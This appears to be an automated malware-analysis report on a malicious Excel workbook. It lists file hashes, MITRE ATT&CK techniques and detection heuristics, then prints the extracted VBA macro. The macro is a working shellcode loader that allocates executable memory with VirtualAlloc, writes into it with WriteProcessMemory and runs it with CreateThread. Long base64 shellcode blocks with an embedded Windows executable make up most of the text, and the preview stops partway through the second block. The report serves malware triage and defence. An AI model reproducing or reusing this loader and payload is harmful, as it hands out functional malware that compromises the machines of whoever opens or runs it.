Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 280fc3e9783f279d…

MALICIOUS

Office (OLE)

237.5 KB Created: 2012-11-16 22:39:48 Authoring application: Microsoft Excel First seen: 2017-09-14
MD5: d161ba48fed1eff3e20699c0edd9f995 SHA-1: e6e3e9f6712f0f2c624447e4b852fcefa0ee62db SHA-256: 280fc3e9783f279d0e6c9c3cde0a64b88a85ab84966072e4383837f507248cc3
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1055.012 Process Injection

The sample is an Excel file containing VBA macros that leverage Windows API functions like VirtualAlloc, WriteProcessMemory, and CreateThread. This indicates the macro is designed to allocate memory, write shellcode into it, and then execute that shellcode, a common technique for downloading and running secondary payloads. The obfuscation and use of these specific APIs strongly suggest malicious intent.

Heuristics 4

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 126191 bytes
SHA-256: dd2b83767c605aca98e2e792d74f8155d35aa49a6edb5231a8a71640a10e7ae5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1026 of 2842 identifiers look randomly generated (e.g. 'IDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZl'); 16 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal lpBuffer As String, ByVal dwSize As Long, ByRef lpNumberOfBytesWritten As Long) As Integer
Private Declare Function CreateThread Lib "KERNEL32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long

Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40

Private Sub ExecuteShellCode()
    Dim lpMemory As Long
    Dim sShellCode As String
    Dim lResult As Long

    sShellCode = ShellCode()
    lpMemory = VirtualAlloc(0&, Len(sShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    lResult = WriteProcessMemory(-1&, lpMemory, sShellCode, Len(sShellCode), 0&)
    lResult = CreateThread(0&, 0&, lpMemory, 0&, 0&, 0&)
End Sub

Private Function ShellCode1() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "6FoIAADDVYnlUVZXi00Mi3UQi30U/zb/dQjoGQAAAIkHgccEAAAAgcYEAAAA4uZfXlmJ7F3CEABVieVTV"
    sShellCode = sShellCode + "ldRZP81MAAAAFiLQAyLSAyLEYtBMGoCi30IV1DoWwAAAIXAdASJ0evni0EYUItYPAHYi1h4WFABw4tLHI"
    sShellCode = sShellCode + "tTIItbJAHBAcIBw4syWFABxmoB/3UMVugjAAAAhcB0CIPCBIPDAuvjWDHSZosTweICAdEDAVlfXluJ7F3"
    sShellCode = sShellCode + "CCABVieVRU1IxyTHbMdKLRQiKEIDKYAHT0eMDRRCKCITJ4O4xwItNDDnLdAFAWltZiexdwgwAVYnlg30M"
    sShellCode = sShellCode + "AHUVi0UQUGoAi00I/1EoUItFCP9QDOsXi1UQUotFDFBqAItNCP9RKFCLRQj/UBBdwgwAVYnlg+wUi0UUi"
    sShellCode = sShellCode + "0gEiU3wi1UUiwKLTRSLEQ+3ShSNVAgYiVXsx0X8AAAAAOsM/0X8i03sg8EoiU3si1UUiwIPt0gGOU38D4"
    sShellCode = sShellCode + "2hAAAAi1Xsg3oQAHVLi0UQi0g4iU30g330AH46agRoABAAAItV9FKLReyLTfADSAxRi1UI/1IkiUX4i03"
    sShellCode = sShellCode + "si1X4iVEIi0X0UGoAi034UYtVCP9SCIPEDOuOagRoABAAAItN7ItREFKLReyLTfADSAxRi1UI/1IkiUX4"
    sShellCode = sShellCode + "i03si1EQUotF7ItNDANIFFGLVfhSi0UI/1AEg8QMi1Xsi0X4iUII6UH///+J7F3CEABVieWD7ECLRQyLC"
    sShellCode = sShellCode + "ItVDIsCD7dQFI1EERiJRdjHRdwBAAAAx0XgCAAAAMdF5AIAAADHRegEAAAAx0XsEAAAAMdF8IAAAADHRf"
    sShellCode = sShellCode + "QgAAAAx0X4QAAAAMdF/AAAAADrDP9F/ItV2IPCKIlV2ItFDIsID7dRBjlV/A+NAwEAAItF2ItIJIHhAAA"
    sShellCode = sShellCode + "AIPfZGcn32YlNzItV2ItCJCUAAABA99gZwPfYiUXEi03Yi1EkgeIAAACA99oZ0vfaiVXQi0XYi0gkgeEA"
    sShellCode = sShellCode + "AAACdB5oAEAAAItV2ItCEFCLTdiLUQhSi0UI/1Aw6Xj///+LVczB4gSNRBXci03EjRTIi0XQiwyCiU3Ii"
    sShellCode = sShellCode + "1XYi0IkJQAAAAR0DItNyIHJAAIAAIlNyItV2ItCEIlFwIN9wAB1MYtN2ItRJIPiQHQNi0UMiwiLUSCJVc"
    sShellCode = sShellCode + "DrGYtF2ItIJIHhgAAAAHQLi1UMiwKLSCSJTcCDfcAAdhyNVdRSi0XIUItN2ItREFKLRdiLSAhRi1UI/1I"
    sShellCode = sShellCode + "06d/+//+J7F3CCABVieWD7CiLRQiLSASJTfSLVQiLAgWgAAAAiUX4i034g3kEAA+GoQAAAItV+ItF9AMC"
    sShellCode = sShellCode + "iUXwi03wgzkAD4aKAAAAi1Xwi0X0AwKJReyLTfCDwQiJTejHRfwAAAAA6wz/RfyLReiDwAKJReiLTfCLU"
    sShellCode = sShellCode + "QSD6gjR6jlV/HNAi0XoD7cIwfkMiU3ki1XoD7cCJf8PAACJReCLTeSJTdiDfdgDdALrFotV7ANV4IlV3I"
    sShellCode = sShellCode + "tF3IsIA00Mi1XciQrrpItF8ItN8ANIBIlN8Olq////iexdwggAVYnlg+wgx0X4AQAAAItFDItIBIlN9It"
    sShellCode = sShellCode + "VDIsCBYAAAACJRfyLTfyDeQQAD4Z1AQAAi1X8i0X0AwKJRfDrCYtN8IPBFIlN8GoUi1XwUotFCP9QLIXA"
    sShellCode = sShellCode + "D4VLAQAAi1Xwg3oMAA+EPgEAAItF8ItN9ANIDFGLVQj/UhyJReSDfeT/dQzHRfgAAAAA6RkBAACLTQyLU"
    sShellCode = sShellCode + "QyNBJUEAAAAUItNDItRCFKLRQhQ6Nj7//+LTQyJQQiLVQyDeggAdQzHRfgAAAAA6eAAAACLRQyLSAyLVQ"
    sShellCode = sShellCode + "yLQgiLVeSJFIiLRQyLSAyDwQGLVQyJSgyLRfCDOAB0GYtN8ItV9AMRiVXoi0Xwi030A0gQiU3s6xiLVfC"
    sShellCode = sShellCode + "LRfQDQhCJReiLTfCLVfQDURCJVezrEotF6IPABIlF6ItN7IPBBIlN7ItV6IM6AHRdi0XoiwiB4QAAAIB0"
    sShellCode = sShellCode + "HItV6IsCJf//AABQi03kUYtVCP9SIItN7IkB6yGLVeiLRfQDAolF4ItN4IPBAlGLVeRSi0UI/1Agi1Xsi"
    sShellCode = sShellCode + "QKLReyDOAB1CcdF+AAAAADrAuuJg334AHUC6wXpmP7//4tF+InsXcIIAFWJ5YPsIItFDIlF+ItN+ItVDA"
    sShellCode = sShellCode + "NRPIlV4GoEaAAgAACLReCLSFBRi1Xgi0I0UItNCP9RJIlF9IN99AB1GWoEaAAgAACLReCLSFBRagCLVQj"
    sShellCode = sShellCode + "/UiSJRfSDffQAdQcxwOk7AQAAahRqAItNCP9RKFCLRQj/UAyJReiLVeiLRfSJQgSLTejHQQwAAAAAi1Xo"
    sShellCode = sShellCode + "x0IIAAAAAItF6MdAEAAAAABqBGgAEAAAi03gi1FQUotF9FCLTQj/USRqBGgAEAAAi0Xgi0hUUYtV9FKLR"
    sShellCode = sShellCode + "Qj/UCSJRfyLVfiLQjyLTeADQVRQi1X4UotF/FCLTQj/UQSDxAyLRfiLTfwDSDyLVeiJCotF6IsIi1X0iV"
    sShellCode = sShellCode + "E0i0XoUItN4FGLVQxSi0UIUOjx+f//i03gi1X0K1E0iVXkdA2LReRQi03oUehL/P//i1XoUotFCFDoDv3"
    sShellCode = sShellCode + "//4XAdQQxwOtRi03oUYtVCFLopvr//4tF6IsIg3koAHQ2i1XoiwKLTfQDSCiJTex1BDHA6yVqAGoBi1X0"
    sShellCode = sShellCode + "Uv9V7IlF8IN98AB1BDHA6w2LRejHQBABAAAAi0XoiexdwggAVYnli0UIiwhRi1UIUuhL/v//XcIEAFWJ5"
    sShellCode = sShellCode + "WiU/sMBaPB7Eg5oLOfDAWgsR3AAaMQ0AABoejQAAInnie6DxhBWV2gGAAAAaAi3AQDo+/f//4PEGGh4K2"
    sShellCode = sShellCode + "jzaGq8BgBoavMMAGg80TgAaI4YBwBo1EANAGiskjQAaEIxDgBo+os0AGiGVw0AieeJ7oPGKFZXaAoAAAB"
    sShellCode = sShellCode + "oiE4NAOiu9///g8QoXcIEAFWJ5YPsROgZAAAAiUW8jUW8UOhc////jVW8Uug9////iexdw+gAAAAAWIPA"
    sShellCode = sShellCode + "BcNNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "ADgAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQ"
    sShellCode = sShellCode + "okAAAAAAAAANBLRIGUKirSlCoq0pQqKtKPt4HSgioq0o+3tNKEKirSj7eA0vEqKtKdUrnSkyoq0pQqK9L"
    sShellCode = sShellCode + "yKirSj7eE0pcqKtKPt7fSlSoq0lJpY2iUKirSAAAAAAAAAAAAAAAAAAAAAFBFAABMAQUApe2vUAAAAAAA"
    sShellCode = sShellCode + "AAAA4AACIQsBCgAAmgAAAFIAAAAAAABjMwAAABAAAACwAAAAAAAQABAAAAACAAAFAAEAAAAAAAUAAQAAA"
    sShellCode = sShellCode + "AAAADABAAAEAADN1AEAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA7NcAAFAAAAAAEA"
    sShellCode = sShellCode + "EAtAEAAAAAAAAAAAAAAAAAAAAAAAAAIAEAcAkAAMCxAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "A0NIAAEAAAAAAAAAAAAAAAACwAAB8AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAYmAAA"
    sShellCode = sShellCode + "ABAAAACaAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAYi8AAACwAAAAMAAAAJ4AAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAEAAAEAuZGF0YQAAAIQtAAAA4AAAABAAAADOAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAAC0AQAAAB"
    sShellCode = sShellCode + "ABAAACAAAA3gAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAJg4AAAAgAQAAEAAAAOAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sShellCode = sShellCode + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsg+T4u"
    sShellCode = sShellCode + "MQkAADooGMAAKGE4gAQM8SJhCTAJAAAU1ZXaMDQABDoqxAAAI2EJMwEAABoAAQAAFDoXRQAAGjQ0AAQ6I"
    sShellCode = sShellCode + "8QAACNjCTYDAAAaAAEAABR6EEUAABo4NAAEOhzEAAAjZQk5AgAAGgABAAAUuglFAAAaPTQABDoVxAAAI2"
    sShellCode = sShellCode + "EJPAQAABoAAQAAFDoCRQAAIPEMI2MJFgBAABRaAEBAAD/FUCxABCNhCToAgAAuRQAAADHAAAAAACDwBhJ"
    sShellCode = sShellCode + "dfQzwImEJDgBAACJhCQ8AQAAiYQkQAEAAImEJEQBAACNhCTIDAAAugIAAABQZomUJDwBAADouhMAAIsdT"
    sShellCode = sShellCode + "LEAEIPEBFD/04s1RLEAEI2MJMgEAABRZomEJD4BAAD/1maDvCQ6AQAAAImEJDwBAAB1MGgE0QAQ6OoNAA"
    sShellCode = sShellCode + "CDwEBQ6FMQAACDxAi4FAAAAF9eW4uMJMAkAAAzzOidCQAAi+Vdw4s9aLEAEIP4/3VQjZQkyAQAAFL/14X"
    sShellCode = sShellCode + "AdSdoHNEAEOitCQAAg8QEuBQAAABfXluLjCTAJAAAM8zoXQkAAIvlXcMPv0gKi1AMiwJRUI2MJEQBAABR"
    sShellCode = sShellCode + "6AsKAACDxAwzwImEJEgBAACJhCRMAQAAiYQkUAEAAImEJFQBAACNhCTIEAAAugIAAABQZomUJEwBAADow"
    sShellCode = sShellCode + "RIAAIPEBFD/02aJhCRKAQAAZoXAdTBoLNEAEOgUDQAAg8BAUOh9DwAAg8QIuBkAAABfXluLjCTAJAAAM8"
    sShellCode = sShellCode + "zoxwgAAIvlXcONjCTICAAAUf/WiYQkTAEAAIP4/3VQjZQkyAgAAFL/14XAdSdoHNEAEOjMCAAAg8QEuBk"
    sShellCode = sShellCode + "AAABfXluLjCTAJAAAM8zofAgAAIvlXcMPv0gKi1AMiwJRUI2MJFQBAABR6CoJAACDxAxqAGoBagL/FVyx"
    sShellCode = sShellCode + "ABCL8Il0JByD/v91J2hE0QAQ6HMIAACDxAS4FAAAAF9eW4uMJMAkAAAzzOgjCAAAi+Vdw2oQjZQkPAEAA"
    sShellCode = sShellCode + "FJW/xVYsQAQhcB0J2hM0QAQ6DcIAACDxAS4FAAAAF9eW4uMJMAkAAAzzOjnBwAAi+Vdw2oFVv8VcLEAEI"
    sShellCode = sShellCode + "XAdCdoVNEAEOgDCAAAg8QEuBQAAABfXluLjCTAJAAAM8zoswcAAIvlXcNqAP/TaFzRABBmiYQkPgEAAOh"
    sShellCode = sShellCode + "qEQAAaGzRABDoYBEAAIPECI2bAAAAAGoAx0QkJAEAAADHRCQoAAAAAOjfFQAAi3wkILkBAAAAiUQkFIlU"
    sShellCode = sShellCode + "JBiDxASJfCQ0iUwkMIvXjYQk7AIAAI1ZA4N4/AB0OoP5QHMPizCJdIw0i0wkMEGJTCQwizA78n4Ci9aD+"
    sShellCode = sShellCode + "UBzEItwBIl0jDSLTCQwQYlMJDCLcAQ78n4Ci9aDeBQAdDyD+UBzEItwGIl0jDSLTCQwQYlMJDCLcBg78n"
    sShellCode = sShellCode + "4Ci9aD+UBzEItwHIl0jDSLTCQwQYlMJDCLcBw78n4Ci9aDeCwAdDyD+UBzEItwMIl0jDSLTCQwQYlMJDC"
    sShellCode = sShellCode + "LcDA78n4Ci9aD+UBzEItwNIl0jDSLTCQwQYlMJDCLcDQ78n4Ci9aDeEQAdDyD+UBzEItwSIl0jDSLTCQw"
    sShellCode = sShellCode + "QYlMJDCLcEg78n4Ci9aD+UBzEItwTIl0jDSLTCQwQYlMJDCLcEw78n4Ci9aDeFwAdDyD+UBzEItwYIl0j"
    sShellCode = sShellCode + "DSLTCQwQYlMJDCLcGA78n4Ci9aD+UBzEItwZIl0jDSLTCQwQYlMJDCLcGQ78n4Ci9aDwHhLD4Wu/v//jU"
    sShellCode = sShellCode + "QkIFBTU41MJDxRQlL/FUixABCFwA+I4QIAAI1UJDBSV/8VYLEAEIXAdG1TU1f/FXSxABCL2DP2jYQkAAM"
    sShellCode = sShellCode + "AAIN46AAPhOQAAACDOAAPhMsAAACDeBgAD4TEAAAAg3gwAA+EvwAAAIN4SAAPhLoAAACDxgWDwHiD/hR8"
    sShellCode = sShellCode + "xGiY0QAQ6JoJAACDwEBQ6AMMAACDxAhT/xVksQAQM9uNtCTsAgAAg378AA+EBgIAAIs+jVQkMFJX/xVgs"
    sShellCode = sShellCode + "QAQhcAPhEsBAABqAGgAEAAAjYQk0BQAAFBX/xVUsQAQhcAPjq4BAACLVgRqAFCNjCTQFAAAUVL/FWyxAB"
    sShellCode = sShellCode + "CFwA+OkQEAAItEJBCLTCQUU2is0QAQiUYMiU4Q6L8KAACDxAjplAEAAEbrDYPGAusIg8YD6wODxgSD/hQ"
    sShellCode = sShellCode + "PjUX///9WaHzRABDokwoAAIPECGoAagFqAv8VXLEAEIv4g///dRJoRNEAEOjKBAAAg8QE6Sj///9qEI2E"
    sShellCode = sShellCode + "JDwBAABQV/8VWLEAEIXAdB5oTNEAEOijBAAAizVksQAQg8QEU//WV//W6fz+//9qEI2MJEwBAABRV/8VP"
    sShellCode = sShellCode + "LEAEIXAdB5okNEAEOhwBAAAizVksQAQg8QEU//WV//W6cn+//+LVCQQi0wkFI0EdgPAA8ADwIm8BPACAA"
    sShellCode = sShellCode + "CJnATsAgAAiZQE+AIAAImMBPwCAADHhAToAgAAAQAAAOmM/v//i0YEjVQkMFJQ/xVgsQAQhcB0UWoAaAA"
    sShellCode = sShellCode + "QAACNhCTQFAAAUItGBFD/FVSxABCFwH5RagBQjYwk0BQAAFFX/xVssQAQhcB+O4tUJBCLRCQUU2jQ0QAQ"
    sShellCode = sShellCode + "iVYMiUYQ6GkJAACDxAjrQYtEJBArRgyLTCQUG04QiUwkLHgtfwc9LAEAAHYkU2j00QAQ6DwJAACDxAhXi"
    sShellCode = sShellCode + "z1ksQAQ/9eLVgRS/9fHRvwAAAAAQ4PGGIP7FA+M4/3//+hjEQAAhcAPhKP7///oGBEAAIP4cw+Flfv///"
    sShellCode = sShellCode + "8VULEAEP8VWLAAEDPAX15bi4wkwCQAADPM6PwCAACL5V3Di4wkzCQAAF9eWzPMuB4AAADo4gIAAIvlXcP"
    sShellCode = sShellCode + "MzMzMzMzMzFWL7IPsPKGE4gAQM8WJRfxTVlf/FSiwABCLHRywABCNReRQavX/01D/FSCwABC59AEAAGaJ"
    sShellCode = sShellCode + "TeaLVeRSavX/01D/FRCwABBq9f/TaABAAABQ6AcWAABoENIAEFDoExcAAIvwuQgAAACNfcSDxBDzpeiNB"
    sShellCode = sShellCode + "gAAagCNeCBqBLkIAAAAjXXEagDzpeh1BgAAg8AgUOgCEQAAg8QQavb/02gAQAAAUOi1FQAAaBTSABBQ6M"
    sShellCode = sShellCode + "EWAACL8LkIAAAAjX3Eg8QQ86XoOwYAAGoAi/hqBLkIAAAAjXXEagDzpegkBgAAUOi0EAAAg8QQavT/02g"
    sShellCode = sShellCode + "AQAAAUOhnFQAAaBDSABBQ6HMWAACDxBC5CAAAAIvwjX3E86Xo7QUAAGoAjXhAagS5CAAAAI11xGoA86Xo"
    sShellCode = sShellCode + "1QUAAIPAQFDoYhAAAItN/IPEEF9eM81b6JEBAACL5V3DzMzMzMzMzFWL7IPsCFOLHRSwABBWV2ocagDHR"
    sShellCode = sShellCode + "fwAAAAA/9OLPQiwABBQ/9eL8IX2dC9qAI1F/FBW/xUAsAAQg/h6dRlWagD/01D/FQywABCLTfxRagD/01"
    sShellCode = sShellCode + "D/14vwhfZ1FGgY0gAQ6PMKAACDxARfXluL5V3DagCNVfxSVv8VALAAEIv4hf90T1doRNIAEOjaBgAAg8Q"
    sShellCode = sShellCode + "IagBqAI1F+FBoAAQAAFdqAGgAEwAA/xUYsAAQhcB0Y4tN+FFobNIAEOiqBgAAi1X4g8QIUv8VJLAAEF9e"
    sShellCode = sShellCode + "W4vlXcMz/zk+fi+NXgSNpCQAAAAAiwNQ/xU4sQAQUGh40gAQ6HIGAABHg8QIg8MYOz584YsdFLAAEFZqA"
    sShellCode = sShellCode + "P/TUP8VDLAAEF9eW4vlXcPMzMzMzMzMzFWL7ItFDEh0CbgBAAAAXcIMAOh5/f//aHzSABDoFgoAAGiI0g"
    sShellCode = sShellCode + "AQ6AwKAABolNIAEOgCCgAAaK7SABDo+AkAAGiw0gAQ6O4JAADokv7//2iu0gAQ6N8JAACDxBjoEPX//zP"
    sShellCode = sShellCode + "AXcIMADsNhOIAEHUC88PpgRgAAIv/VYvsVot1CIX2eAnodRkAADswfAfobBkAAIsw6GsZAACLBLBeXcNq"

    ShellCode1 = sShellCode
End Function

Private Function ShellCode2() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "DGiQ0wAQ6FciAABqAl6JdeRW6NgQAABZg2X8AIt9CIX/dCKAPwB0HVfopCEAAFBXVui/GQAAVmjgsQAQV"
    sShellCode = sShellCode + "uizGQAAg8Qc6GIZAAD/MOiG////i/hX6HkhAABQV1bolBkAAGoBaNyxABBW6IcZAACDxCDHRfz+////6A"
    sShellCode = sShellCode + "YAAADoJSIAAMP/deToAxEAAFnDzMzMzMxVi+xXVot1DItNEIt9CIvBi9EDxjv+dgg7+A+CoAEAAIH5gAA"
    sShellCode = sShellCode + "AAHIcgz1g/QAQAHQTV1aD5w+D5g87/l5fdQXpeyMAAPfHAwAAAHUUwekCg+IDg/kIcinzpf8klTAdABCL"
    sShellCode = sShellCode + "x7oDAAAAg+kEcgyD4AMDyP8khUQcABD/JI1AHQAQkP8kjcQcABCQVBwAEIAcABCkHAAQI9GKBogHikYBi"
    sShellCode = sShellCode + "EcBikYCwekCiEcCg8YDg8cDg/kIcszzpf8klTAdABCNSQAj0YoGiAeKRgHB6QKIRwGDxgKDxwKD+Qhypv"
    sShellCode = sShellCode + "Ol/ySVMB0AEJAj0YoGiAeDxgHB6QKDxwGD+QhyiPOl/ySVMB0AEI1JACcdABAUHQAQDB0AEAQdABD8HAA"
    sShellCode = sShellCode + "Q9BwAEOwcABDkHAAQi0SO5IlEj+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4"
    sShellCode = sShellCode + "i0SO/IlEj/yNBI0AAAAAA/AD+P8klTAdABCL/0AdABBIHQAQVB0AEGgdABCLRQheX8nDkIoGiAeLRQheX"
    sShellCode = sShellCode + "8nDkIoGiAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMAAA"
    sShellCode = sShellCode + "B1JMHpAoPiA4P5CHIN/fOl/P8klcweABCL//fZ/ySNfB4AEI1JAIvHugMAAACD+QRyDIPgAyvI/ySF0B0"
    sShellCode = sShellCode + "AEP8kjcweABCQ4B0AEAQeABAsHgAQikYDI9GIRwOD7gHB6QKD7wGD+Qhysv3zpfz/JJXMHgAQjUkAikYD"
    sShellCode = sShellCode + "I9GIRwOKRgLB6QKIRwKD7gKD7wKD+QhyiP3zpfz/JJXMHgAQkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg"
    sShellCode = sShellCode + "+4Dg+8Dg/kID4JW/////fOl/P8klcweABCNSQCAHgAQiB4AEJAeABCYHgAQoB4AEKgeABCwHgAQwx4AEI"
    sShellCode = sShellCode + "tEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItEjgSJRI8EjQSNAAA"
    sShellCode = sShellCode + "AAAPwA/j/JJXMHgAQi//cHgAQ5B4AEPQeABAIHwAQi0UIXl/Jw5CKRgOIRwOLRQheX8nDjUkAikYDiEcD"
    sShellCode = sShellCode + "ikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQheX8nDuADgABDDoYANARBWahRehcB1B7gAA"
    sShellCode = sShellCode + "gAA6wY7xn0Hi8ajgA0BEGoEUOghJAAAWVmjbP0AEIXAdR5qBFaJNYANARDoCCQAAFlZo2z9ABCFwHUFah"
    sShellCode = sShellCode + "pYXsMz0rkA4AAQ6wWhbP0AEIkMAoPBIIPCBIH5gOIAEHzqav5eM9K5EOAAEFeLwsH4BYsEhWD8ABCL+oP"
    sShellCode = sShellCode + "nH8HnBosEB4P4/3QIO8Z0BIXAdQKJMYPBIEKB+XDgABB8zl8zwF7D6FIpAACAPRDzABAAdAXoWCQAAP81"
    sShellCode = sShellCode + "bP0AEOgTJAAAWcOL/1WL7FaLdQi4AOAAEDvwciKB/mDiABB3GovOK8jB+QWDwRBR6JAqAACBTgwAgAAAW"
    sShellCode = sShellCode + "esKg8YgVv8VXLAAEF5dw4v/VYvsi0UIg/gUfRaDwBBQ6GMqAACLRQyBSAwAgAAAWV3Di0UMg8AgUP8VXL"
    sShellCode = sShellCode + "AAEF3Di/9Vi+yLRQi5AOAAEDvBch89YOIAEHcYgWAM/3///yvBwfgFg8AQUOhBKQAAWV3Dg8AgUP8VYLA"
    sShellCode = sShellCode + "AEF3Di/9Vi+yLTQiLRQyD+RR9E4FgDP9///+DwRBR6BIpAABZXcODwCBQ/xVgsAAQXcNqDGiw0wAQ6K4c"
    sShellCode = sShellCode + "AAAzwDP2OXUID5XAO8Z1FejlEwAAxwAWAAAA6GM5AACDyP/rX+gX/v//aiBbA8NQagHoIv///1lZiXX86"
    sShellCode = sShellCode + "AD+//8Dw1DovCkAAFmL+I1FDFBW/3UI6Oj9//8Dw1DokCsAAIlF5OjY/f//A8NQV+gvKgAAg8QYx0X8/v"
    sShellCode = sShellCode + "///+gJAAAAi0Xk6GwcAADD6LL9//+DwCBQagHoLf///1lZw6GE4gAQg8gBM8k5BaTvABAPlMGLwcNqDGj"
    sShellCode = sShellCode + "Q0wAQ6PEbAAAz24ld5DPAi30IO/sPlcA7w3UY6CMTAADHABYAAADooTgAAIPI/+nFAAAAM8A5XQwPlcA7"
    sShellCode = sShellCode + "w3TciX0IV+gZ/v//WYld/PZHDEB1b1fohDgAAFmD+P90G4P4/nQWi9DB+gWLyIPhH8HhBgMMlWD8ABDrB"
    sShellCode = sShellCode + "bnA5AAQ9kEkf3Upg/j/dBmD+P50FIvIwfkFg+AfweAGAwSNYPwAEOsFuMDkABD2QCSAdBTokRIAAMcAFg"
    sShellCode = sShellCode + "AAAOgPOAAAg03k/zld5HUjV+iCKAAAi/CNRRBQU/91DFfoXioAAIlF5FdW6AQpAACDxBzHRfz+////6Ak"
    sShellCode = sShellCode + "AAACLReToQRsAAMP/dQjozv3//1nDahRo8NMAEOjlGgAAi30Ii/eJfeAzwDPbO/sPlcA7w3UX6BUSAADH"
    sShellCode = sShellCode + "ABYAAADokzcAADPA6awBAAAzwDtFDBvA99h03ug6/P//UFPoS/3//1lZiV386Cn8///2QAxAdW5Q6G83A"
    sShellCode = sShellCode + "ABZg/j/dBuD+P50FovQwfoFi8iD4R/B4QYDDJVg/AAQ6wW5wOQAEPZBJH91KYP4/3QZg/j+dBSLyMH5BY"
    sShellCode = sShellCode + "PgH8HgBgMEjWD8ABDrBbjA5AAQ9kAkgHQT6HwRAADHABYAAADo+jYAAIld4Dld4A+E/wAAAOin+////0g"
    sShellCode = sShellCode + "EeBHonfv//4vQiwoPtgFBiQrrDOiM+///UOj+NgAAWYlFCIP4/3UMiV3gOV0QD4XEAAAAi00Mg/n/dUSD"
    sShellCode = sShellCode + "+AoPhLEAAACD+P8PhKgAAACIBkaJddzoTPv///9IBHgR6EL7//+L0IsKD7YBQYkK6wzoMfv//1DoozYAA"
    sShellCode = sShellCode + "FmJRQjrvIlN5IP4CnQ/g/j/dDo5XeR2Cf9N5IgGRol13OgF+////0gEeBHo+/r//4vQiwoPtgFBiQrrDO"
    sShellCode = sShellCode + "jq+v//UOhcNgAAWYlFCOu8OV3kdSqIH+iLEAAAxwAiAAAA6Ak2AABq/o1F8FBohOIAEOhWNwAAg8QM6V7"
    sShellCode = sShellCode + "+//+IHsdF/P7////oCwAAAItF4OhNGQAAwzPb6JH6//9QU+gQ/P//WVnDi/9Vi+xqAP91DP91COjz/f//"
    sShellCode = sShellCode + "g8QMXcOL/1WL7GoKagD/dQjoezoAAIPEDF3DagxoENQAEOi9GAAAg87/iXXkM8A5RQgPlcCFwHUX6PAPA"
    sShellCode = sShellCode + "ADHABYAAADobjUAAIvG6f8AAADoIPr//2ogWwPD9kAMQHVZUOhhNQAAWTvGdBuD+P50FovQwfoFi8iD4R"
